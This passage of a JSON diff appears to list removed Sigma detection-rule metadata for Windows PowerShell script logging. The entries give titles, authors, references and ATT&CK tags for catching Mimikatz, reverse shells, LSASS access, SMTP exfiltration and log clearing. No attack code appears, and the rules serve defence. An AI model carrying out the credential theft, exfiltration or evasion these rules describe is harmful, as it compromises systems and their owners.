"ps_script", - "logsource.product": "windows", - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb", - "value": "Malicious PowerShell Keywords" - }, - { - "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", - "meta": { - "author": "Max Altgelt", - "creation_date": "2021/09/21", - "falsepositive": [ - "Diagnostics" - ], - "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml" - ], - "tags": [ - "attack.t1003" - ] - }, - "uuid": "cd185561-4760-45d6-a63e-a51325112cae", - "value": "Live Memory Dump Using Powershell" - }, - { - "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Legitimate use" - ], - "filename": "posh_ps_modify_group_policy_settings.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1484.001" - ] - }, - "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f", - "value": "Modify Group Policy Settings - ScriptBlockLogging" - }, - { - "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", - "meta": { - "author": "frack113, MatilJ", - "creation_date": "2022/01/19", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_msxml_com.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml", - "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", - "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "78aa1347-1517-4454-9982-b338d6df8343", - "value": "Powershell MsXml COM Object" - }, - { - "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", - "meta": { - "author": "Alec Costello", - "creation_date": "2019/05/16", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_nishang_malicious_commandlets.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/samratashok/nishang", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0", - "value": "Malicious Nishang PowerShell Commandlets" - }, - { - "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", - "meta": { - "author": "Sami Ruohonen", - "creation_date": "2018/07/24", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_ntfs_ads_access.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "http://www.powertheshell.com/ntfsstreams/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "8c521530-5169-495d-a199-0a3a881ad24e", - "value": "NTFS Alternate Data Stream" - }, - { - "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_office_comobject_registerxll.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md" - ], - "tags": [ - "attack.persistence", - "attack.t1137.006" - ] - }, - "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad", - "value": "Code Executed Via Office Add-in XLL File" - }, - { - "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/28", - "falsepositive": [ - "Mimikatz can be useful for testing the security of networks" - ], - "filename": "posh_ps_potential_invoke_mimikatz.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml", - "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4", - "value": "Potential Invoke-Mimikatz PowerShell Script" - }, - { - "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/18", - "falsepositive": [ - "Should not be any as administrators do not use this tool" - ], - "filename": "posh_ps_powerview_malicious_commandlets.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://powersploit.readthedocs.io/en/stable/Recon/README", - "https://adsecurity.org/?p=2277", - "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml", - "https://thedfirreport.com/2020/10/08/ryuks-return" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa", - "value": "Malicious PowerView PowerShell Commandlets" - }, - { - "description": "Detects PowerShell calling a credential prompt", - "meta": { - "author": "John Lambert (idea), Florian Roth (rule)", - "creation_date": "2017/04/09", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_prompt_credentials.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://t.co/ezOTGy1a1G", - "https://twitter.com/JohnLaTwC/status/850381440629981184", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e", - "value": "PowerShell Credential Prompt" - }, - { - "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/04", - "falsepositive": [ - "Unlikely" - ], - "filename": "posh_ps_psasyncshell.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/JoelGMSec/PSAsyncShell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f", - "value": "PSAsyncShell - Asynchronous TCP Reverse Shell" - }, - { - "description": "Detects the use of PSAttack PowerShell hack tool", - "meta": { - "author": "Sean Metcalf (source), Florian Roth (rule)", - "creation_date": "2017/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_psattack.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5", - "value": "PowerShell PSAttack" - }, - { - "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/06", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_remote_session_creation.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f", - "value": "PowerShell Remote Session Creation" - }, - { - "description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", - "meta": { - "author": "frack113", - "creation_date": "2022/01/15", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_remove_item_path.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf", - "value": "Use Remove-Item to Delete File" - }, - { - "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_request_kerberos_ticket.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ] - }, - "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df", - "value": "Request A Single Ticket via PowerShell" - }, - { - "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", - "meta": { - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/10", - "falsepositive": [ - "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" - ], - "filename": "posh_ps_root_certificate_installed.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ] - }, - "uuid": "42821614-9264-4761-acfc-5772c3286f76", - "value": "Root Certificate Installed" - }, - { - "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/01", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_run_from_mount_diskimage.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.005" - ] - }, - "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96", - "value": "Suspicious Invoke-Item From Mount-DiskImage" - }, - { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/16", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_security_software_discovery.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ] - }, - "uuid": "904e8e61-8edf-4350-b59c-b905fc8e810c", - "value": "Security Software Discovery by Powershell" - }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/09/26", - "falsepositive": [ - "Legitimate script" - ], - "filename": "posh_ps_send_mailmessage.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://www.ietf.org/rfc/rfc2821.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b", - "value": "Powershell Exfiltration Over SMTP" - }, - { - "description": "Detect adversaries enumerate sensitive files", - "meta": { - "author": "frack113", - "creation_date": "2022/09/16", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_sensitive_file_discovery.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml", - "https://twitter.com/malmoeb/status/1570814999370801158" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", - "value": "Powershell Sensitive File Discovery" - }, - { - "description": "Detects use of Set-ExecutionPolicy to set insecure policies", - "meta": { - "author": "frack113", - "creation_date": "2021/10/20", - "falsepositive": [ - "Administrator script" - ], - "filename": "posh_ps_set_policies_to_unsecure_level.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", - "https://adsecurity.org/?p=2604", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b", - "value": "Change PowerShell Policies to an Insecure Level" - }, - { - "description": "Detects Base64 encoded Shellcode", - "meta": { - "author": "David Ledbetter (shellcode), Florian Roth (rule)", - "creation_date": "2018/11/17", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_shellcode_b64.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/cyb3rops/status/1063072865992523776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd", - "value": "PowerShell ShellCode" - }, - { - "description": "Detects Commandlet names from ShellIntel exploitation scripts.", - "meta": { - "author": "Max Altgelt, Tobias Michalski", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_shellintel_malicious_commandlets.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml", - "https://github.com/Shellntel/scripts/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7", - "value": "Malicious ShellIntel PowerShell Commandlets" - }, - { - "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/16", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "posh_ps_software_discovery.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", - "https://github.com/harleyQu1nn/AggressorScripts" - ], - "tags": [ - "attack.discovery", - "attack.t1518" - ] - }, - "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282", - "value": "Detected Windows Software Discovery" - }, - { - "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", - "meta": { - "author": "frack113", - "creation_date": "2021/09/02", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_store_file_in_alternate_data_stream.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9", - "value": "Powershell Store File In Alternate Data Stream" - }, - { - "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_ad_group_reco.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "88f0884b-331d-403d-a3a1-b668cf035603", - "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock" - }, - { - "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the windows event logs", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/12", - "falsepositive": [ - "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" - ], - "filename": "posh_ps_susp_clear_eventlog.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/oroneequalsone/status/1568432028361830402", - "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001" - ] - }, - "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278", - "value": "Suspicious Eventlog Clear" - }, - { - "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_directory_enum.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml", - "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52", - "value": "Powershell Directory Enumeration" - }, - { - "description": "Detects suspicious PowerShell download command", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/05", - "falsepositive": [ - "PowerShell scripts that download content from the Internet" - ], - "filename": "posh_ps_susp_download.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb", - "value": "Suspicious PowerShell Download" - }, - { - "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/02", - "falsepositive": [ - "Legitimate administration script" - ], - "filename": "posh_ps_susp_execute_batch_script.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88", - "value": "Powershell Execute Batch Script" - }, - { - "description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/04/23", - "falsepositive": [ - "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" - ], - "filename": "posh_ps_susp_export_pfxcertificate.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ] - }, - "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c", - "value": "Suspicious Export-PfxCertificate" - }, - { - "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/19", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_extracting.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001" - ] - }, - "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68", - "value": "Extracting Information with PowerShell" - }, - { - "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/21", - "falsepositive": [ - "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" - ], - "filename": "posh_ps_susp_follina_execution.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml", - "https://twitter.com/nas_bench/status/1537919885031772161" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153", - "value": "Troubleshooting Pack Cmdlet Execution" - }, - { - "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/04/23", - "falsepositive": [ - "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" - ], - "filename": "posh_ps_susp_getprocess_lsass.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml", - "https://twitter.com/PythonResponder/status/1385064506049630211" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb", - "value": "PowerShell Get-Process LSASS in ScriptBlock" - }, - { - "description": "Detects suspicious Powershell code that execute COM Objects", - "meta": { - "author": "frack113", - "creation_date": "2022/04/02", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_gettypefromclsid.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.015" - ] - }, - "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437", - "value": "Suspicious GetTypeFromCLSID ShellExecute" - }, - { - "description": "utilize Get-AdComputer to enumerate Computers within Active Directory.", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_get_adcomputer.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138", - "value": "Suspicious Enumerate Active Directory Computers with Get-AdComputer" - }, - 